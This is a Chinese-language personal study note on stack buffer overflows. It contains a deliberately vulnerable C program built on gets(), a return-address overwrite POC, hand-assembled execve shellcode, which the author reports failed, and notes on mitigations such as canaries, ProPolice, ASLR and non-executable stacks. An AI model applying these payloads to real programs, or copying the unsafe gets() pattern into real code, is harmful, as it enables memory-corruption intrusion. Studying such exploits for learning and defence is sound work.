Silver的二进制学习记(1):复习字符串漏洞

0x00 复习对象

  • 栈粉碎
  • 代码注入 以及有关内容

0x01 成因

  • 缓冲区长度<填入数据长度
  • 无效的边界检查
  • 对库函数的错误调用

0x02 基础复习

函数调用和返回流程

调用

  1. PUSH EIP
  2. 控制权转移(置入新的EIP)
  3. 保存现场:PUSH EBP
  4. MOV EBP,ESP
  5. 分配内存:SUB ESP,0X14

返回

  1. 收回内存:MOV ESP, EBP
  2. 恢复现场:POP EBP
  3. 控制权交还

内存管理

  • 帧和栈
  • 临时变量会存储在EBP-offset_address
  • ret时候要用的EIP会在 EBP+sizeof(EBP)
  • 覆盖这个地址可以实现返回时控制权的转移

0x03 栈粉碎

有漏洞的程序

bool verify{
    char buff[12]="";
    buff=gets();
    if(!strcmp(buff,"password"))
        return true;
    else
        return false;
}
int main(void)
{
    int state=verify();
    if ( !state )
        puts("Oops!");
    else
        puts("Good!"); //0x080484f3
return 0;
}

POC:

#!/bin/sh
echo -ne "123412341234123412341234\xf3\x84\x04\x08" | ./vul
#extra bytes might caused by align

结果:

[silver@binresearch stack_smashing]$ ./stack_smashing_command.sh 
Show me your name:
Good boy!
./stack_smashing_command.sh: line 2:  5432 Done                    echo -ne '123412341234123412341234\xf3\x84\x04\x08'
        5433 Segmentation fault      | ./vulnerable

分析:破坏了压进去的EBP(?) (今天听吴神说过残像攻击,可能有用,mark下)

0x04 代码注入

漏洞同上 POC:

#!/bin/sh
#following are explain. of this exploit
#   ADDR          DATA                MEANING
#0xFFFFD17C       80 D1 FF FF         the address of code
#0xFFFFD180       31 C0               XOR eax, eax
#0xFFFFD182       A3 9F D1 FF FF      MOV 0xFFFFD19F, EAX //SET THIS TO NULL
#0xFFFFD187       B0 0B               MOV AL, 0X0B
#0xFFFFD189       BB A3 D1 FF FF      MOV EBX, 0xFFFFD1A3 //Arg[1]
#0xFFFFD18E       B9 9B D1 FF FF      MOV ECX, 0xFFFFD19B //Arg[2]
#0xFFFFD193       8B 15 9F D1 FF FF   MOV EDX, 0xFFFFD19F //Arg[3]
#0xFFFFD199       CD 80               INT 80              //EXECUTE!
#0xFFFFD19B       9F D1 FF FF         pointer to a null str
#0xFFFFD19F       "fdru"              a string which will be nulled
#0xFFFFD1A3-D1AF  command             /usr/bin/cal
echo -ne '111122223333444455556666\x80\xd1\xff\xff\x31\xc0\xa3\x9f\xd1\xff\xff\xb0\x0b\xbb\xa3\xd1\xff\xff\xb9\x9b\xd1\xff\xff\x8b\x15\x9f\xd1\xff\xff\xcd\x80\xa3\xd1\xff\xff\x66\x64\x72\x75\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x63\x61\x6c\x00' > exp_with_mess.bin

#I WILL NEVER LOOK UP INTEL'S TABLE TO ASS. THIS ASSHOLE
#NEVER!!!

结果:失败

[silver@binresearch stack_smashing]$ ./vul < exp_with_mess.bin 
Segmentation fault

分析:使用固定地址,且未关闭栈随机化(?) Question:为什么XOR EAX,EAX31 C0?

0x05 弧注入

控制流转移;巧妙控制压进去的帧指针===>调用链

0x06 缓解策略

  1. 对攻击的检测
    1. 设立哨位
      • 目标:栈粉碎攻击
      • 方法:置于缓冲区边缘,返回时检查是否被修改。检测到改变即表示存在栈粉碎攻击
      • 要求:绝对随机的canaries或难以插入的canaries
      • 缺陷:无法保护对变量的修改;并不能阻止溢出;不能完全阻止对栈内EIP的覆盖
      • 对最后一点的对策:ramdon xor canaries---要求canary绝对保密
    2. 运行时的边界检查
      • aka.: 和Java一样慢
  2. 阻止攻击
    1. 栈粉碎保护器(ProPolice)
      • 变量重排
      • GCC的一个拓展
    2. 栈随机化
      • 并不能阻止相对地址
    3. 不可执行的栈
      • 潜在的兼容性风险
  3. 减少风险
    • 最小特权原则
    • 使用安全的库函数
    • 谨防队友坑

0x07 参考

《C和C++安全编码》